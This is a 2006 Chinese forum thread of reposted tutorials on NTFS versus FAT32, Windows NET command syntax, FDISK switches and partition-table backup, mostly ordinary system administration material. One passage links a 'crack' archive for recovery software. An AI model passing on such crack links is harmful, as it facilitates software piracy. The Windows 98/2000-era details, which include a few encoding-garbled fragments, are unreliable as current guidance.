   3. NTFS支持对分区、文件夹和文件的压缩。任何基于Windows的应用程序对NTFS分区上的压缩文件进行读写时不需要事先由其他程序进行解压缩,当对文件进行读取时,文件将自动进行解压缩;文件关闭或保存时会自动对文件进行压缩。

   4. NTFS采用了更小的簇,可以更有效率地管理磁盘空间。在Win 2000的FAT32文件系统的情况下,分区大小在2GB~8GB时簇的大小为4KB;分区大小在8GB~16GB时簇的大小为8KB;分区大小在16GB~32GB时,簇的大小则达到了16KB。而Win 2000的NTFS文件系统,当分区的大小在2GB以下时,簇的大小都比相应的FAT32簇小;当分区的大小在2GB以上时(2GB~2TB),簇的大小都为4KB。相比之下,NTFS可以比FAT32更有效地管理磁盘空间,最大限度地避免了磁盘空间的浪费。

   5. 在NTFS分区上,可以为共享资源、文件夹以及文件设置访问许可权限。许可的设置包括两方面的内容:一是允许哪些组或用户对文件夹、文件和共享资源进行访问;二是获得访问许可的组或用户可以进行什么级别的访问。访问许可权限的设置不但适用于本地计算机的用户,同样也应用于通过网络的共享文件夹对文件进行访问的网络用户。与FAT32文件系统下对文件夹或文件进行访问相比,安全性要高得多。另外,在采用NTFS格式的Win 2000中,应用审核策略可以对文件夹、文件以及活动目录对象进行审核,审核结果记录在安全日志中,通过安全日志就可以查看哪些组或用户对文件夹、文件或活动目录对象进行了什么级别的操作,从而发现系统可能面临的非法访问,通过采取相应的措施,将这种安全隐患减到最低。这些在FAT32文件系统下,是不能实现的。

   6. 在Win 2000的NTFS文件系统下可以进行磁盘配额管理。磁盘配额就是管理员可以为用户所能使用的磁盘空间进行配额限制,每一用户只能使用最大配额范围内的磁盘空间。设置磁盘配额后,可以对每一个用户的磁盘使用情况进行跟踪和控制,通过监测可以标识出超过配额报警阈值和配额限制的用户,从而采取相应的措施。磁盘配额管理功能的提供,使得管理员可以方便合理地为用户分配存储资源,避免由于磁盘空间使用的失控可能造成的系统崩溃,提高了系统的安全性。


   7. NTFS使用一个“变更”日志来跟踪记录文件所发生的变更。

   小提示(选取FAT32和NTFS的建议)

   在系统的安全性方面,NTFS文件系统具有很多FAT32文件系统所不具备的特点,而且基于NTFS的Win 2000运行要快于基于FAT32的Win 2000;而在与Win 9X的兼容性方面,FAT32优于NTFS。所以在决定Win 2000中采用什么样的文件系统时应从以下几点出发:

   1. 计算机是单一的Win 2000系统,还是采用多启动的Win 2000系统;

   2. 本地安装的磁盘的个数和容量;

   3. 是否有安全性方面的考虑等。

   基于以上的考虑,如果要在Win 2000中使用大于32GB的分区的话,那么只能选择NTFS格式。如果计算机作为单机使用,不需要考虑安全性方面的问题,更多地注重与Win 9X的兼容性,那么FAT32是最好的选择。如果计算机作为网络工作站或更多的追求系统的安全性,而且可以在单一的Win 2000模式下运行,强烈建议所有的分区都采用NTFS格式;如果要兼容以前的应用,需要安装Win 9X或其它的操作系统,建议做成多启动系统,这就需要两个以上的分区,一个分区采用NTFS格式,另外的分区采用FAT32格式,同时为了获得最快的运行速度建议将Win 2000的系统文件放置在NTFS分区上,其它的个人文件则放置在FAT32分区中

TA的精华主题

TA的得分主题

 楼主| 发表于 2006-12-25 10:30 | 显示全部楼层
[广告] Excel易用宝 - 提升Excel的操作效率 · Excel / WPS表格插件       ★免费下载 ★       ★ 使用帮助

windows系统里有一个非常强大的命令那就是net命令,想必大家对它不会感到陌生吧,但是你用过它吗?在这里我们综合了WINDOWS 98,WINDOWS WORKSTATION和WINDOWS SERVER 三个操作系统关于NET命令的解释,希望可以使大家对它的使用能够有所了解。

先说一些:

(1)NET命令是一个命令行命令。

(2)管理网络环境、服务、用户、登陆。。。。等本地信息

(3)WIN 98,WIN WORKSTATION和WIN NT都内置了NET命令。

(4)但WIN 98的NET命令和WORKSTATION、NT的NET命令不同。

(5)WORKSTATION和SERVER中的NET命令基本相同。

(6)获得HELP

   (1)在NT下可以用图形的方式,开始-》帮助-》索引-》输入NET

   (2)在COMMAND下可以用字符方式,NET /?或NET或NET HELP得到一些方法 相应的方法的
帮助NETCOMMAND /HELP或NET HELP COMMAND 或NET COMMAND /? 另对于错误NET HELPMSG ME
SSAGE#是4位数

(7)强制参数 所有net命令接受选项/yes和/no(可缩写为/y和/n)。[简单的说就是预先给系统
的 提问一个答案]

(8)有一些命令是马上产生作用并永久保存的,使用的时候要慎重

(9)对于NET命令的功能都可以找到相应的图形工具的解决方案

(10)命令的组成 命令 参数 选项 参数 选项 参数 选项 。。。。。。 瘰疬罗嗦说了一大
堆,其实就是6和7有用,呵呵 另有两件事:

   (1)在NT的NET命令中有一些参数是只有在SERVER环境中才能使用的

   (2)在WIN98的NET命令中有一些参数不能在DOS-WIN中使用,只能在DOS环境中使用

下面对NET命令的不同参数的基本用法做一些初步的介绍:

(1)NET VIEW

作 用:显示域列表、计算机列表或指定计算机的共享资源列表。

命令格式:net view [\\computername /domain[:domainname]]

参数介绍:

   (1)键入不带参数的net view显示当前域的计算机列表。

   (2)\\computername 指定要查看其共享资源的计算机。

   (3)/domain[:domainname]指定要查看其可用计算机的域。

简单事例:

   (1)net view \\YFANG查看YFANG的共享资源列表。

   (2)net view /domain:LOVE查看LOVE域中的机器列表。

(2)NET USER

作 用:添加或更改用户帐号或显示用户帐号信息。该命令也可以写为 net users。

命令格式:net user [username [password *] [options]] [/domain]

参数介绍:

   (1)键入不带参数的net user查看计算机上的用户帐号列表。

   (2)username添加、删除、更改或查看用户帐号名。

   (3)password为用户帐号分配或更改密码。

   (4)*提示输入密码。

   (5)/domain在计算机主域的主域控制器中执行操作。

简单事例:

   (1)net user yfang查看用户YFANG的信息


(3)NET USE

作 用:连接计算机或断开计算机与共享资源的连接,或显示计算机的连接信息。

命令格式:net use [devicename *] [\\computername\sharename[\volume]] [password
*]] [/user:[domainname\]username] [[/delete] [/persistent:{yes no}]]

参数介绍:

   键入不带参数的net use列出网络连接。

   devicename指定要连接到的资源名称或要断开的设备名称。

   \\computername\sharename服务器及共享资源的名称。

   password访问共享资源的密码。

   *提示键入密码。

   /user指定进行连接的另外一个用户。

   domainname指定另一个域。

   username指定登录的用户名。

   /home将用户连接到其宿主目录。

   /delete取消指定网络连接。

   /persistent控制永久网络连接的使用。

简单事例:

   (1)net use e: \\YFANG\TEMP\\YFANG\TEMP目录建立为E盘

   (2)net use e: \\YFANG\TEMP /delete断开连接

(4)NET TIME

作 用:使计算机的时钟与另一台计算机或域的时间同步。

命令格式:net time [\\computername /domain[:name]] [/set]

参数介绍:

   (1)\\computername要检查或同步的服务器名。

   (2)/domain[:name]指定要与其时间同步的域。

   (3)/set使本计算机时钟与指定计算机或域的时钟同步。

下面的这4个参数是相关的,所以一起介绍

(5)Net Start

作 用:启动服务,或显示已启动服务的列表。

命令格式:net start service

(6)Net Pause

作 用:暂停正在运行的服务。

命令格式:net pause service

(7)Net Continue

作 用:重新激活挂起的服务。

命令格式:net continue service   

(8)NET STOP

作 用:停止 Windows NT 网络服务。

命令格式:net stop service

参数介绍:我们来看看这些服务都是什么

   (1)alerter(警报)

   (2)client service for netware(Netware 客户端服务)

   (3)clipbook server(剪贴簿服务器)

   (4)computer browser(计算机浏览器)

   (5)directory replicator(目录复制器)

   (6)ftp publishing service (ftp )(ftp 发行服务)

   (7)lpdsvc

   (8)net logon(网络登录)

   (9)network dde(网络 dde)

   (10)network dde dsdm(网络 dde dsdm)

   (11)network monitor agent(网络监控代理)

   (12)nt lm security support provider(NT LM 安全性支持提供)

   (13)ole(对象链接与嵌入)

   (14)remote access connection manager(远程访问连接管理器)

   (15)remote access isnsap service(远程访问 isnsap 服务)

   (16)remote access server(远程访问服务器)

   (17)remote procedure call (rpc) locator(远程过程调用定位器)

   (18)remote procedure call (rpc) service(远程过程调用服务)

   (19)schedule(调度)

   (20)server(服务器)

   (21)simple tcp/ip services(简单 TCP/IP 服务)

   (22)snmp

   (23)spooler(后台打印程序)

   (24)tcp/ip netbios helper(TCP/IP NETBIOS 辅助工具)

   (25)ups

   (26)workstation(工作站)

   (27)messenger(信使)

   (28)dhcp client

   (29)eventlog 以下这些SERVICE只能在NT SERVER上使用

     (1)file server for macintosh

     (2)gateway service for netware

     (3)microsoft dhcp server

     (4)print server for macintosh

     (5)remoteboot

     (6)windows internet name service

(9)Net Statistics

作 用:显示本地工作站或服务器服务的统计记录。

命令格式:net statistics [workstation server]

参数介绍:

   (1)键入不带参数的net statistics列出其统计信息可用的运行服务。

   (2)workstation显示本地工作站服务的统计信息。

   (3)server显示本地服务器服务的统计信息。

简单事例:

   (1)net statistics server more显示服务器服务的统计信息

(10)Net Share

作 用:创建、删除或显示共享资源。

命令格式:net share sharename=drive:path [/users:number /unlimited] [/remark:"t
ext"]

参数介绍:

   (1)键入不带参数的net share显示本地计算机上所有共享资源的信息。

   (2)sharename是共享资源的网络名称。

   (3)drive:path指定共享目录的绝对路径。

   (4)/users:number设置可同时访问共享资源的最大用户数。

   (5)/unlimited不限制同时访问共享资源的用户数。

   (6)/remark:"text "添加关于资源的注释,注释文字用引号引住。

简单事例:

   (1)net share mylove=c:\temp /remark:"my first share"以mylove为共享名共享C:\t
emp

   (2)net share mylove /delete停止共享mylove目录

(11)Net Session

作 用:列出或断开本地计算机和与之连接的客户端的会话,也可以写为net sessions或net
sess。

命令格式:net session [\\computername] [/delete]

参数介绍:

   (1)键入不带参数的net session显示所有与本地计算机的会话的信息。

   (2)\\computername标识要列出或断开会话的计算机。

   (3)/delete结束与\\computername计算机会话并关闭本次会话期间计算机的所有? 蚩?募
??

简单事例:

   (1)net session \\YFANG要显示计算机名为YFANG的客户端会话信息列表。

(12)Net Send

作 用:向网络的其他用户、计算机或通信名发送消息。

命令格式:net send {name * /domain[:name] /users} message

参数介绍:

   (1)name要接收发送消息的用户名、计算机名或通信名。

   (2)*将消息发送到组中所有名称。

   (3)/domain[:name]将消息发送到计算机域中的所有名称。

   (4)/users将消息发送到与服务器连接的所有用户。

   (5)message作为消息发送的文本。

简单事例:

   (1)net send /users server will shutdown in 5 minutes.给所有连接到服务器的用户
发送消息

(13)Net Print

作 用:显示或控制打印作业及打印队列。

命令格式:net print [\\computername ] job# [/hold /release /delete]

参数介绍:

   (1)computername共享打印机队列的计算机名。

   (2)sharename打印队列名称。

   (3)job#在打印机队列中分配给打印作业的标识号。

   (4)/hold使用 job# 时,在打印机队列中使打印作业等待。

   (5)/release释放保留的打印作业。

   (6)/delete从打印机队列中删除打印作业。

简单事例:

   (1)net print \\YFANG\SEEME列出\\YFANG计算机上SEEME打印机队列的目录

(14)Net Name

作 用:添加或删除消息名(有时也称别名),或显示计算机接收消息的名称列表。

命令格式:net name [name [/add /delete]]

参数介绍:

   (1)键入不带参数的net name列出当前使用的名称。

   (2)name指定接收消息的名称。

   (3)/add将名称添加到计算机中。

   (4)/delete从计算机中删除名称。

(15)Net Localgroup

作 用:添加、显示或更改本地组。

命令格式:net localgroup groupname {/add [/comment:"text "] /delete} [/domain]

参数介绍:

   (1)键入不带参数的net localgroup显示服务器名称和计算机的本地组名称。

   (2)groupname要添加、扩充或删除的本地组名称。

   (3)/comment: "text "为新建或现有组添加注释。

   (4)/domain在当前域的主域控制器中执行操作,否则仅在本地计算机上执行操作?

   (5)name [ ...]列出要添加到本地组或从本地组中删除的一个或多个用户名或组名。

   (6)/add将全局组名或用户名添加到本地组中。

   (7)/delete从本地组中删除组名或用户名。

简单事例:

   (1)net localgroup love /add将名为love的本地组添加到本地用户帐号数据库

   (2)net localgroup love显示love本地组中的用户

(16)Net Group

作 用:在 Windows NT Server 域中添加、显示或更改全局组。

命令格式:net group groupname {/add [/comment:"text "] /delete} [/domain]

参数介绍:

   (1)键入不带参数的net group显示服务器名称及服务器的组名称。

   (2)groupname要添加、扩展或删除的组。

   (3)/comment:"text "为新建组或现有组添加注释。

   (4)/domain在当前域的主域控制器中执行该操作,否则在本地计算机上执行操作? ?

   (5)username[ ...]列表显示要添加到组或从组中删除的一个或多个用户。

   (6)/add添加组或在组中添加用户名。

   (7)/delete删除组或从组中删除用户名。

简单事例:

   (1)net group love yfang1 yfang2 /add将现有用户帐号yfang1和yfang2添加到本地计
算机的love组

(17)Net File

作 用:显示某服务器上所有打开的共享文件名及锁定文件数。

命令格式:net file [id [/close]]

参数介绍:

   (1)键入不带参数的net file获得服务器上打开文件的列表。

   (2)id文件标识号。

   (3)/close关闭打开的文件并释放锁定记录。

(18)Net Config

作 用:显示当前运行的可配置服务,或显示并更改某项服务的设置。

命令格式:net config [service [options]]

参数介绍:

   (1)键入不带参数的net config显示可配置服务的列表。

   (2)service通过net config命令进行配置的服务(server或workstation)

   (3)options服务的特定选项。

(19)Net Computer

作 用:从域数据库中添加或删除计算机。

命令格式:net computer \\computername {/add /del}

参数介绍:

   (1)\\computername指定要添加到域或从域中删除的计算机。

   (2)/add将指定计算机添加到域。

   (3)/del将指定计算机从域中删除。

简单事例:

   (1)net computer \\cc /add将计算机 cc 添加到登录域

(20)Net Accounts

作 用:更新用户帐号数据库、更改密码及所有帐号的登录要求。

命令格式:net accounts [/forcelogoff:{minutes no}] [/minpwlen:length] [/maxpwag
e:{days unlimited}] [/minpwage:days] [/uniquepw:number] [/domain]

参数介绍:

   (1)键入不带参数的net accounts显示当前密码设置、登录时限及域信息。

   (2)/forcelogoff:{minutes no}设置当用户帐号或有效登录时间过期时

   (3)/minpwlen:length设置用户帐号密码的最少字符数。

   (4)/maxpwage:{days unlimited}设置用户帐号密码有效的最大天数。

   (5)/minpwage:days设置用户必须保持原密码的最小天数。

   (6)/uniquepw:number要求用户更改密码时,必须在经过number次后才能重复使用 与之
相同的密码。

   (7)/domain在当前域的主域控制器上执行该操作。

   (8)/sync当用于主域控制器时,该命令使域中所有备份域控制器同步

简单事例:

   (1)net accounts /minpwlen:7将用户帐号密码的最少字符数设置为7

----------------------上面介绍的是NET命令在WINNT下的基本用法

----------------------下面我们看看NET命令在WIN98下的基本用法

在WIN98中NET命令也有一些参数的名字和功能及简单的使用方法和WINNT下的相应的参数的用
法相同

其中有

   (1)NET TIME命令

   (2)NET PRINT命令

   (3)NET USE命令

   (4)NET VIEW命令

在WIN98中NET命令有一些参数的名字和WINNT下的相应的参数的名字相同,但其用法却有些不

其中有

(1)NET START

作 用:启动相应的服务。(不能在DOS-WIN中用)

命令格式:NET START [BASIC NWREDIR WORKSTATION NETBIND NETBEUI NWLINK] [/LI
ST] [/YES] [/VERBOSE]

(2)NET STOP

作 用:停止相应的服务.(不能在DOS-WIN中用)

命令格式:NET STOP [BASIC NWREDIR WORKSTATION NETBEUI NWLINK] [/YES]

在WIN98中NET命令还有一些参数是在98下才有的

其中有

(1)NET DIAG

作 用:运行MS的DIAGNOSTICS程序显示网络的DIAGNOSTIC信息

命令格式:NET DIAGNOSTICS [/NAMES /STATUS]

(2)NET INIT

作 用:不通过绑定来加载协议或网卡驱动(不能在DOS-WIN中用)

命令格式:NET INITIALIZE [/DYNAMIC]

(3)NET LOGOFF

作 用:断开连接的共享资源(不能在DOS-WIN中用) (

(4)NET LOGON

作 用:在WORKGROUP中登陆(不能在DOS-WIN中用)

命令格式:NET LOGON [user [password ?]] [/DOMAIN:name] [/YES] [/SAVEPW:NO]

(5)NET PASSWORD

作 用:更改你的网络登陆口令(不能在DOS-WIN中用)

命令格式:NET PASSWORD \\computer /DOMAIN:name [user [oldpassword [newpassword]
]]

TA的精华主题

TA的得分主题

 楼主| 发表于 2006-12-25 10:31 | 显示全部楼层
关于NTFS,FAT和FIDSK使用说明 1

现在很多电脑爱好者对NTFS,FAT和FIDSK还有许多的疑问,今日特对有代表性的问题进行整理,供大家参考。不妥之处,请大家共同指正!

1、什么是NTFS-新(N)技术(T)文件(F)系统(S)?

想要了解NTFS,我们首先应该认识一下FAT。FAT(File Allocation Table)是“文件分配表”的意思。对我们来说,它的意义在于对硬盘分区的管理。FAT16、FAT32、NTFS是目前最常见的三种文件系统。
FAT16:我们以前用的DOS、Windows 95都使用FAT16文件系统,现在常用的Windows 98/2000/XP等系统均支持FAT16文件系统。它最大可以管理大到2GB的分区,但每个分区最多只能有65525个簇(簇是磁盘空间的配置单位)。随着硬盘或分区容量的增大,每个簇所占的空间将越来越大,从而导致硬盘空间的浪费。
FAT32:随着大容量硬盘的出现,从Windows 98开始,FAT32开始流行。它是FAT16的增强版本,可以支持大到2TB(2048G的分区。FAT32使用的簇比FAT16小,从而有效地节约了硬盘空间。
NTFS:微软Windows NT内核的系列*作系统支持的、一个特别为网络和磁盘配额、文件加密等管理安全特性设计的磁盘格式。随着以NT为内核的Windows 2000/XP的普及,很多个人用户开始用到了NTFS。NTFS也是以簇为单位来存储数据文件,但NTFS中簇的大小并不依赖于磁盘或分区的大小。簇尺寸的缩小不但降低了磁盘空间的浪费,还减少了产生磁盘碎片的可能。NTFS支持文件加密管理功能,可为用户提供更高层次的安全保证。

2、什么系统可以支持NTFS文件系统?

只有Windows NT/2000/XP才能识别NTFS系统,Windows 9x/Me以及DOS等*作系统都不能支持、识别NTFS格式的磁盘。由于DOS系统不支持NTFS系统,所以最好不要将C:盘制作为NTFS系统,这样在系统崩溃后便于在DOS系统下修复。
NTFS与*作系统支持情况如下:
FAT16 windows 95/98/me/nt/2000/xp unix,linux,dos
FAT32 windows 95/98/me/2000/xp
NTFS  windows nt/2000/xp

3、我们需要NTFS吗?

Windows 2000/XP在文件系统上是向下兼容的,它可以很好地支持FAT16/FAT32和NTFS,其中NTFS是Windows NT/2000/XP专用格式,它能更充分有效地利用磁盘空间、支持文件级压缩、具备更好的文件安全性。如果你只安装Windows 2000/XP,建议选择NTFS文件系统。如果多重引导系统,则系统盘(C盘)必须为FAT16或FAT32,否则不支持多重引导。当然,其他分区的文件系统可以为NTFS。

4、如何将FAT分区转换为NTFS?

Windows 2000/XP提供了分区格式转换工具“Convert.exe”。Convert.exe是Windows 2000附带的一个DOS命令行程序,通过这个工具可以直接在不破坏FAT文件系统的前提下,将FAT转换为NTFS。它的用法很简单,先在Windows 2000环境下切换到DOS命令行窗口,在提示符下键入:D:\》convert 需要转换的盘符 /FS:NTFS。如系统E盘原来为FAT16/32,现在 需要转换为NTFS,可使用如下格式:D:\》convert e: /FS:NTFS。所有的转换将在系统重新启动后完成。本人推荐使用此法进行转换!

   此外,你还可以使用专门的转换工具,如著名的硬盘无损分区工具Powerquest Partition Magic 7.0,软件下载页http://soft.km169.net/soft/html/1964.htm,使用它完成磁盘文件格式的转换也是非常容易的。首先在界面中的磁盘分区列表中选择需要转换的分区。从界面按钮条中选择“Convert Partition”按钮,或者是从界面菜单条“Operations”项下拉菜单中选择“Convert”命令。激活该项功能界面。在界面中选择转换输出为“NTFS”,之后单击“OK”按钮返回程序主界面。单击界面右下角的“Apply”添加设置。此后系统会重新引导启动,并完成分区格式的转换*作。

5、如何在NTFS格式分区下找回意外删除丢失的文件?

你可以使用专门的软件,如Final Data for NTFS,或者是Get Data Back for NTFS 1.04。这两个软件的文件恢复效果都不错。本人推荐使用数据恢复功能强大、速度快的Get Data Back for FAT 1.05/NTFS 1.04(是2个软件),下载地http://download-tipp.de/cgi-bin/ ... phrase&bool=and。如果在文件删除后没有任何文件*作,恢复率接近100%。所以不要等到文件删除后才安装这个软件,最好是与Windows系统一起安装,并在出现文件误删除后立刻执行恢复*作,一般可以将删除的文件恢复回来。

6、如果Windows 2000/XP安装在C盘(NTFS格式),当Windows崩溃时在DOS状态下不能进入C盘,怎么办?

你可以使用Windows 2000/XP的安装光盘启动来修复Windows,或者是制作Windows 2000/XP的安装启动应急盘。注意:Windows 2000的安装盘制作程序在程序的安装光盘中,而Windows XP的应急盘制作是独立提供的,需要从微软的网站下载。

7、Final Data for NTFS或Get Data Back for NTFS可以修复被意外格式化的硬盘吗?
这两个软件都可以恢复格式化删除的数据(低级格式化除外)。常规格式化删除的只是数据信息,低级格式化则删除全部数据区,当硬盘技术还不像现在这样发达的时候,磁盘表面很容易磨损。硬盘使用者对经常出现的读错误,往往采用低级格式化。修复被格式化的硬盘,只能将这个硬盘拆下来,安装到其他的计算机中,之后执行文件修复*作。Final Data甚至可以修复由CIH病毒破坏的硬盘。

8、Windows 98(FAT系统)下如何直接读写NTFS文件系统?

   当电脑安装有Windows 98和Windows 2000/XP两个*作系统,如何在FAT系统下直接读写NTFS文件系统?虽然FAT系统可以转换为NTFS系统,但是有时我们需要在机器中同时安装Windows 98和Windows 2000/XP。此时的麻烦就来了,由于Windows 98不能读取Windows 2000的NTFS,那么如何进行数据交换呢?实际上我们只需要使用一个小小的软件NTFS for Windows 98就可以让Windows 98轻松读取、甚至写入NTFS分区。首先,到该工具的下载网http://down.hothost.com/list.asp?id=514下载NTFS for Windows 98 1.07版(能读、写!)。解压缩后,请把CR整个目录(里边有7个读取NTFS文件系统必须使用到Windows 2000/XP的系统文件,其它3个是注释文件)COPY到C盘(也可改名为NTFS_FILES,我是这样改的),安装结束后会出现一个配置界面,在该界面中的“NTFS System Files”项中需要设置的是程序可以借用的Windows 2000/XP系统的相关文件保存路径,你就选择刚才COPY到盘的CR目录即可,然后其它什么都不必去*作,到此设置完成,单击OK按钮保存设置并退出。重启后就可以在Windows 98下访问NTFS分区了!经过实际使用,证明安装此软件后,在NTFS分区上能读、写!
以上内容本人在WIN98SE+WINXP_PROCN+WINXP_PROEN及WINME+WINXP_PROCN+WINXP_PROEN上验证通过!(2台机)

下面的内容仅供参考,建议你不要实施,至少我是这样做的。
   [Drive Letter Assignments”项中提供的设置是设置允许可以识别的NTFS分区盘符,设置的依据可以参考在Windows 2000/XP下的盘符顺序。如果单击界面中的“Advanced”按钮,在关联界面中提供了针对设置的NTFS分区高级设置,其中包括设置为只读属性“Read-Only”、允许写入“Write-Through”。对于检查点间隔“Checkpoint Interval”和写回间隔“Writeback nterval”,使用程序提供的默认设置即可。]

9、如何在DOS系统下直接读写NTFS文件系统?

   Winternals Software LP 公司提供了工具软件解决了这个问题。用一张MS-DOS启动盘就可以作到以前不可能作到的事,修改,删除,更新 NTFS上的文件,实际 NTFSDOS pro 是在 Windows NT 出问题时的一个修复工具。下载页http://soft.winzheng.com/searchengine.asp,键入“NTFS”查找该站软件,就可以找出NTFSDOS PRO 4.0,最好选择服务器2下载。具体安装过程并不复杂,按照提示做好启动盘即可。

   10、在NTFS系统下,如何保护自己的文件、文件夹?

由于NTFS文件分区格式具有良好的安全性,如果你不希望自己在硬盘中的文件被其他人调用或查看,使用权限控制方式加密是非常有效的方法。设置方法非常简单:以系统管理员身份登录,使用鼠标右键单击需要加密的文件夹,选择“Properties”,切换到“Security”选项卡。在“Group of user names”项中设置允许访问的用户只有Administrator和自己。删除其他的所有用户。保存设置退出即可。此后,其他用户将不能访问该文件夹。使用这项功能需要注意的是:一定要保证只有你一个人知道Administrator密码,并且设置其他用户不能属于Administrator。此外,你还可以详细的给每个用户设置权限,包括设置读取权限、写入权限、删除权限等,这样使用起来就更加灵活。你还可以设置权限,控制一个磁盘,或者磁盘分区只为自己使用,这样其他人就不能看到你的任何东西了。

   附件是专门配合Get Data Back for FAT 1.05/NTFS 1.04这2个软件使用的,绝对好用,需要的就http://softplayer.8u8.com/crack/fatntfs1054.zip下载吧!

将NTTS格式转换为FAT32格式的方法
由于磁盘文件格式FAT32与NTFS的不兼容性,在Windows 98*作系统中不借助第三方软件根本找不到NTFS分区,用DOS(或Windows 98)启动盘启动系统后仍无法找到NTFS分区,也就不能用Format命令格式化NTFS分区的磁盘。

   下面我以一台在C盘装有Windows 98*作系统和在D盘装有Windows 2000 Server*作系统的电脑为例,来说明如何将D盘由NTFS磁盘格式转换成FAT32磁盘格式。俗话说解铃还需系
铃人,这里我使用的工具就是当初安装Windows 2000 Server*作系统时的安装光盘,不过此方法不会保留原分区中的数据喔!我的*作如下:

   1、 在系统启动时,按Del键进入CMOS设置,选择Advanced BIOS Features进入,在“First Boot Device”中选择CD-ROM,从光盘引导。在光驱中放入Windows 2000 Server安装光盘,保存退出,重启。

   2、 当屏幕下方出现“Press any key to boot from cd”时马上按回车,在屏幕下方出现“setup is loading files(…)”。这要花费一段时间。

   3、 当出现Windows 2000 Server安装程序时,屏幕会有如下选项供你选择:

   ◎ 要开始安装Windows 2000,请按Enter

   ◎ 要修复Windows 2000中文版的安装,请按R

   ◎ 要停止安装Windows 2000并退出安装程序,请按F3

   选择第一个选项,按Enter键回车。

   4、这时会有一些协议要求你认可。我们应该无条件的接受,按F8键表示我同意。这时屏幕出现的选择项为:

   ◎ 要修复所选的Windows 2000安装,请按R

   ◎ 要继续全新安装Windows 2000,请按Esc

   我们按Esc,选择继续全新安装。

   5、接下来我们要选择安装了Windows 2000 Server 的NTFS磁盘格式的分区,再在选择项目上选择“删除所选磁盘分区,请按D”,按下D后,屏幕上还会跳出选择菜单,我们要义无反顾地选择“要删除此磁盘分区,请按L”。完成后我就取出光盘,重新启动。我到Windows 98桌面上找到刚才进行格式转化的D磁盘,把它格式化就一切OK了。

   但是在系统启动时我们还可以看见双系统的启动菜单。为了恢复单系统启动的本来面目,我们要到Windows 98下,在“我的电脑”→“C盘”下找到“Boot.ini”文件,删除“multi(0)disk(0)rdisk(0)partition(2)WINNT=Microsoft Windows 2000 Server/fastdetect”,并将timeout置为0即“timeout=0”。如果没有“Default=c:”,那么还要在“[Operating Systems]”前面加上它。

FDISK的未公开参数
我再给大家介绍一些FDISK的未公开参数,作为参考,使用方法就是在Fdisk后面加上就可以了。希望您能够利用它们把您的硬盘管理的更好。
/STATUS   
参数功能:显示分割状况   
参数详解:当延伸分割区里没有逻辑磁盘时, 延伸分割区不会被显示出来   
/MBR   
参数功能:重建第一颗硬盘的主激活程序 (Master Boot Record)   
参数详解:当有病毒感染 MBR 时, 用来清除病毒相当好用   
/PRI   
参数功能:建立主分割区, 并设定为激活   
参数详解:在硬盘上建立大小为的主分割区. 分割区会被设定为激活分割区   
/PRIO   
参数功能:使用 FAT16 建立主分割区并设定为激活   
/EXT   
参数功能:建立延伸分割区   
参数详解:在硬盘上建立大小为的延伸分割区 (用来建立逻辑磁盘)   
/LOG   
参数功能:建立逻辑磁盘   
参数详解:用 /LOG 来建立大小为的逻辑磁盘. /LOG 必须和 /EXT 同时使用   
/LOGO   
参数功能:使用 FAT16 建立逻辑磁盘   
/FPRMT   
参数功能:在交谈模式中询问 FAT16/FAT32 的使用   
参数详解:当加上 /FPRMT 参数时不会出现开始的大容量硬盘支持的询问画面, 而是在每次建立一个新的分割时询问使用 FAT16 或 FAT32
/Q   
参数功能:结束 FDISK 时不重新激活计算机   
参数详解:使用 /Q 参数将不会在更动分割表后重新激活计算机   
/X   
参数功能:不使用 LBA 属性   
参数详解:使用 /X 参数将不会产生带有 LBA 属性的分割   
/ACTOK   
参数功能:不检查硬盘的良好度   
参数详解:用 /ACTOK 参数可以不检查硬盘良好度而加快分割动作   
/CMBR   
参数功能:重建指定硬盘的主激活程序   
参数详解:动作同 /MBR, 但可以指定硬盘

硬盘分区表与引导记录的备份
硬盘分区表和引导区的地位是无庸质疑的,这一点相信不用我多说。因此,其也成了很多病毒的攻击对象。而且,一些以外的情况,比如突然断电等也能使硬盘的主引导分区数据丢失。分区一损坏,系统则立即瘫痪,动弹不得。所以关于分区与引导记录的备份技巧,是你必须要掌握的一门技术:

TA的精华主题

TA的得分主题

 楼主| 发表于 2006-12-25 10:32 | 显示全部楼层
关于NTFS,FAT和FIDSK使用说明 2

1. 利用KV3000:

  KV3000虽然是个防杀病毒软件,它也具有非常强的分区修复的能力。更让人雀跃的是,它还能进行系统分区的备份。这样,即使硬盘上的两个分区表全部损坏,我们还能用备份在软盘上的分区表进行修复。先来谈谈KV3000的备份。输入如下格式命令(KV3000/B或者kv3000/HDPT.DAT),将自动向A盘备份一个无病毒的硬盘主引导信息档案,其名称分别为HDPT.DAT和HFBOOT.DAT。当硬盘主引导信息被病毒破坏或主引导记录损坏时,你主要输入“KV3000/HDPT.DAT”就能将备份的内容恢复到硬盘中(备份和所要恢复的硬盘必须是同一块)。

  如果你没有进行备份,KV3000还允许你修复硬盘的主引导信息,再执行KV3000,按下F6键,就可查看已经不能引导的硬盘隐含扇区,即可查看硬盘0面0柱1扇区主引导信息是否正常。如果在硬盘的0面0柱1扇区没有找到关键代码,那么硬盘本身将不能自引导,即使软盘引导后也不能进入硬盘。可在硬盘的隐含扇区内查找,找到后,系统会在表中出现闪动的红色“80”和“55AA”,并响一声来提醒你,下行会出现一行提示,“F9=SAVE TO SIDE 0 CYLINDER 0 SECTOR 1!!!”。这时,按一下:“F9”键,就可将刚找到的原硬盘主引导信息覆盖到硬盘0面0柱1扇区,然后,计算机会重新引导硬盘,恢复硬盘的启动性能,在软盘引导后也能进入硬盘。

  另外,如果由于病毒的破坏或*作上的失误,致使硬盘主引导记录和分区表损坏,硬盘不能引导或软盘引导也不能进入硬盘时,如果先用KV3000/B的命令在软盘上备份过主引导记录,这时可用KV3000/HDPT。DAT的命令再恢复硬盘主引导记录,如果先前没有备份过硬盘主引导信息,这时,只有用KV3000快速重建硬盘分区表的功能试一试。

  软盘引导系统后,执行KV3000,主菜单出来后,按下F10键,就可对系统的有关参数和硬盘分区表快速测试,如果硬盘分区表不正常 ,KV3000会先将坏分区表保存到软盘上,再自动重建硬盘分区表,使硬盘起死回生。

  如果硬盘只有一个分区,而且文件分配表(FAT表),文件根目录(ROOT表)已被病毒严重破坏,那么,即使恢复了C盘分区表,也不能使C盘引导,需手工配合其他专用修复软件来恢复数据。但如果还有D、E等扩展分区,一般情况下,KV3000能找回后面没有被破坏掉的分区,重建一个新的硬盘主分区表,然后,再用DOS系统软盘引导计算机后,就可进入硬盘的D、E等分区。

  2.利用NORTON Utilities

